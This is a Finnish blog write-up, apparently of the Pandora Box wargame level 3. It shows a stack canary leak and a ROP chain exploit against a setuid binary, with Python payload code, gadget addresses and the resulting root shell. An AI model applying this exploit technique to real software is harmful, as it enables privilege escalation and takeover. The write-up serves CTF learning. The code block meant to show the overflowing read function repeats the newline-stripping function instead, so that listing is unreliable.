Pandora Box – Taso 3

Tällä kertaa voitettavana olisi peli, jossa pitäisi arvata numero oikein maksimissaan seitsemällä arvauksella.

############################
# Random number game - 1.0 #
############################
guess the number between 0 and 40, type exit to close
guess: 4
Your guess 4 is to low
guess: 5
Your guess 5 is to low
guess: 1
Your guess 1 is to low
guess: 0
Your guess 0 is to low
guess: 3
Your guess 3 is to low
guess: 2
Your guess 2 is to low
guess: -1
Your guess -1 is to low
You lose!
Thank you for playing, Goodbye

Katsotaan kuitenkin ensiksi mitä meillä on vastassa.

level2@pb0x:~$ file level3
level3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x68fd6bc2dba0dd5309a628e7b6db049e59cc6e86, not stripped

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Jälleen kerran NX-bitti on päällä. Joten suoraa emme pysty omaa koodia ajamaan. Tämän lisäksi käytössä on myös stackin canary muuttuja, jonka tarkoitus on huomata mahdolliset pinon ylikirjoitukset. Näiden lisäksi ASLR on tietysti myös käytössä.

Koitetaampa saada asiat sekaisin. ‘Arvataan’ 1024 merkin pituisella merkkijonolla. Tämä ei ainakaan heti kaatanut softaa. Sillä arvailua pystyi jatkamaan. Kuitenkin kun arvaukset loppui tai ohjelmasta poistui, niin ohjelman suoritus keskeytyi. Sillä pinon canary muuttuja oli ylikirjoitettu.

Nämähän toimivat seuraavalla periaatteella.

void f(int arg1, int arg2) 
{
	char buf[50];
	int canary = get_canary();

	....


	if (canary != get_canary())
		err..

	return;
}

Käytännössä pinossa on alinmaisena canary muuttuja, joka saa satunnaisen arvon. Mikäli funktion suorituksen aikana tapahtuu mahdollinen muistin ylikirjoitus, niin samalla ylikirjoitetaan myös canary muuttuja. Ennen funktiosta poistumista tarkistetaan, että canaryn arvo on sama, mikä sille alussa asettiin. Arvon poiketessa on tapahtunut ylikirjoitus ja ohjelman suoritus keskeytetään.

Tämä mutkistaa asioita jonkin verran, kun emme voi suoraa kirjoittaa funktion paluuosoitetta yli. Ensiksi tulee saada jotenkin selville canaryn arvo. Onneksi tämä pysyy kuitenkin koko ohjelman suorituksen aikana samana. Jolloin kertaselvitys riittää.

Avataan ohjelma jälleen IDA:lla ja aletaan etsimään syytä ylhäällä esiintyneelle ylikirjoitukselle. Suuria salapoliisitaitoja ei vaadita, sillä vika löytyy yllättävän nopeasti. Ohjelma varaa 512 tavun bufferin luettavalla merkkijonolle, mutta itse lukufunktio lukee tuplasti. Aijaij.

void stripnewline(char *buffer)
{
	char* pos;

	pos = strchr(buffer, 10);
	if ( pos )
		*pos = 0;

	pos = strchr(buffer, 13);
	if ( pos )
		*pos = 0;
}

Nyt tiedämme, että pystymme kirjoittamaan 1024 tavua, joista 512 menee bufferin yli. Jotta tätä päästäisiin hyödyntämään, niin tarviimme sen canaryn. Sattumalta bufferi on muistissa juuri ennen canarya. Ehkä pystymme tulostamaan sen vastaavalla tavalla kuin tasolla 2. Tällä kertaa kuitenkin luetun merkkijonon perään laitetaan nollatavu tai oikeastaan ensimmäinen rivinvaihto korvataan nollalla.

void stripnewline(char *buffer)
{
	char* pos;

	pos = strchr(buffer, 10);
	if ( pos )
		*pos = 0;

	pos = strchr(buffer, 13);
	if ( pos )
		*pos = 0;
}
}

Mutta tässä ei ole nyt otettu ihan kaikkea huomioon, on olemassa muitakin merkkejä kuin vain rivinvaihto, jotka lopettavat lukemisen. Kuten 0x03 (end of text). Mikäli syötetty merkkijono päätetään tällä merkillä, niin luettuun bufferiin ei aseteta nollatavua. Jeij.

print("[*] Leak stack canary")
s.send("A"*(511 + 1)+"\x03")

r = s.recv(1024)
canary = "\x00"+r[524:527]
print("[*] Founded canary: %s" % hex(struct.unpack("I", canary)[0]))

Syytä huomioida, että canary on yleisesti ottaen vain 24-bittinen.

[*] Leak stack canary
[*] Founded canary: 0x6a4a8500

Samaa tekniikkaa käyttäen pystymme myös selvittämään stackin sijainnin. Sillä pinossa on myös kutsuneen funktion EBP arvo.

print("[*] Leak stack position")
s.send("A"*(511 + 12)+"\x03")

r = s.recv(1024)
stack = r[535:539]
stack = struct.unpack("I", r[535:539])[0] - 588
print("[*] Stack: %s" % hex(stack))

Koska NX-bitti estää koodin suorittamisen pinosta suoraan, niin meidän pitää olla hiukan luovia. ROP on tekniikka, jossa muistialueista joilla on suoritusoikeus etsitään sopivia paloja, joista koostetaan varsinainen shellcode. Koska kyseessä on staattisesti linkattu ohjelma, niin suoritettavaa binääriä on ‘erityisen’ paljon. Vaikka suurinta osaa siitä ei koskaan tarvita.

Käytännössä tämä tarkoittaa sitä, että etsimme binääristä esim. seuraavat kohdat.

0x01010101:
pop eax;
ret;

0x02020202:
mov ebx, eax;
ret;

Nyt jos ylikirjoitamme pinossa olevan paluuosoitteen päälle 0x01010101 ja heti perään luvut 0xABABABAB ja 0x02020202, niin saamme muokattua ohjelman kulkua siten, että funktion loputtua hyppäämme muistiosoitteeseen 0x01010101, missä siiretään pinosta seuraaava arvo (0xABABABAB) rekisteriin eax. Tämän jälkeen ret komento ‘palaa’ osoitteeseen, joka on seuraavana pinossa. Eli ohjelman suoritus siirtyy paikkaan 0x02020202, jossa äskön pinosta otettu arvo siirretään rekisteriin ebx.

Näin olemme ohittaneet NX-bitin aiheuttamat estot. ROP gadgettien etsimiseen on olemassa useita näppäriä apuvälineitä. Nyt voimme rakentaa itse shellcoden, joka on yksinkertaisuudessa sys_execve(“/bin/sh”, 0, 0) kutsu.

print("[*] Write shellcode")
payload = "exit\x00/bin/sh\x00"
payload += "A"*(512 - len(payload))

payload += canary

payload += "B"*8
payload += struct.pack("<I", stack + 588) # old ebp
payload += struct.pack("<I",  0x080540cd) # pop ecx; pop ebx; ret;
payload += "\x00"*4
payload += struct.pack("<I", stack + 5)  # address of /bin/sh
payload += struct.pack("<I", 0x080540a6) # pop edx; ret;
payload += "\x00"*4
payload += struct.pack("<I", 0x080a87d6) # pop eax; ret;
payload += "\x0b\x00\x00\x00"
payload += struct.pack("<I", 0x08053ED2) # int 0x80

payload += "\x03"
$ python exploit.py 
[*] Init
[*] Leak stack canary
[*] Founded canary: 0x6a4a8500
[*] Leak stack position
[*] Stack: 0xbfc8c34c
[*] Write shellcode
[*] Drop the bomb
0wn3d

$ whoami
level3

$ ls /home/level3 
cryptocon.bin
level4
level4_readme.txt

Skripti kokonaisuudessaan löytyy täältä. Ensi kerralla luvassa näyttää olevan jonkinlainen salauksen purkusofta! Siitä sitten toiste.

This entry was posted in Jotain aivan muuta and tagged , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *